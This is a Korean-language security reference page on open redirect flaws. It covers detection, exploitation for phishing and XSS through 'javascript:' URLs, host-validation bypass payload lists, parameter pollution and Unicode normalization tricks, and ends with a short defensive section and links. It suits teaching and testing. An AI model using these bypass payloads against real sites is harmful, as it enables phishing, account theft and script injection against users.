Open Redirect

Introduction

Open Redirect는 웹 서비스에서 사용자의 입력을 기반으로 redirect 하는 기능을 이용하여 공격자가 의도한 도메인으로 사용자를 이동시키는 공격 방법을 의미합니다.

보통의 사람들은 웹 서비스의 URL을 볼 떄 도메인을 신뢰하기 때문에 해당 도메인의 링크를 신뢰하고 클릭하는데, 이 때 Open Redirect가 있는 경우 공격자가 의도한 사이트로 이동시킬 수 있기 때문에 가볍게는 피싱부터 연계되어 XSS나 계정 탈취등에도 충분히 이용될 수 있습니다.

Offensive techniques

Detect

탐지 방법은 간단합니다. 사용자의 입력을 기반으로한 redirect 페이지를 찾으면 되는데, 서비스에 따라서 스펙으로 보는 경우도 있어서 리스크를 증명하여 해결해야 합니다.

Request

GET /redirect?url=https://untrusted.domain HTTP/1.1

Response

HTTP/1.1 302 Found
Location: https://untrusted.domain

Redirect status code

Status code Msg
300 Multiple Choices
301 Moved Permanetly
302 Found
303 See Other
304 Not Modified
305 Use Proxy
307 Temporary Redirect
308 Permanent Redirec

Exploitation

Phishing

기본적으로 Open redirect는 피싱에 사용될 수 있습니다. 사용자는 신뢰하는 도메인의 링크만 보고 접근하기 때문에 redirect를 통해 사용자의 정보를 탈취하려는 위장된 페이지로 이동시켜 정보를 탈취할 수 있습니다.

XSS

Open redirect는 보통 Location 헤더나 js단에서 redirect를 진행하는데, 이 때 protocol 까지 제어가 가능한 경우 아래와 같은 형태로 XSS도 가능합니다.

GET /redirect?url=javascript:alert(45) HTTP/1.1
GET /redirect?url=data:(45) HTTP/1.1

다만 최신 브라우저에서는 대다수가 Location 헤더 기반의 XSS는 차단하고 있기 때문에 JS단에서 이동되는 경우나 아래 글과 같이 Location + JS의 경우에만 유효한 방법입니다.

  • https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/

Bypass protection

Host validation bypass

Host bypass에 자주 사용하는 패턴은 아래와 같습니다.

/redirect?url=javascript:alert(45) HTTP/1.1 url=https://allow_domain.hahwul.com
/redirect?url=https://allow_domain@hahwul.com
/redirect?url=https://www.hahwul.com#allow_domain
/redirect?url=https://www.hahwul.com?allow_domain
/redirect?url=https://www.hahwul.com\allow_domain
/redirect?url=https://www.hahwul.com&allow_domain
/redirect?url=https:///////////www.hahwul.com
/redirect?url=https:\\www.hahwul.com
/redirect?url=https:\/\/www.hahwul.com

https://www.hahwul.com/phoenix/ssrf-open-redirect/#openredirect

Parameter Pollution

/redirect?url=allow_domain&url=https:\\www.hahwul.com

https://www.hahwul.com/2021/06/21/bypass-host-validation-with-parameter-pollution/

With Normalization

https://evil.c℀.example.com . ---> https://evil.ca/c.example.com
http://a.com/X.b.com

Defensive techniques

Redirect 기능이 있는 페이지는 가급적 허용된 주소를 제외하곤 접근하지 못하도록 제한하는게 좋습니다. 만약 외부 링크 접근이 필요한 경우 사용자에게 안내 메시지를 주는 것도 좋은 방법 중 하나 입니다.

NIST의 외부 링크 팝업

Tools

  • https://github.com/hahwul/dalfox (in BAV)

Articles

  • https://www.hahwul.com/2019/09/23/bypass-host-validation-technique-in-android/
  • https://www.hahwul.com/2019/02/19/bypass-ssrf-protection-using-domain-cname-arecord/
  • https://www.hahwul.com/phoenix/ssrf-open-redirect/
  • https://www.hahwul.com/2021/06/21/bypass-host-validation-with-parameter-pollution/

References

  • https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect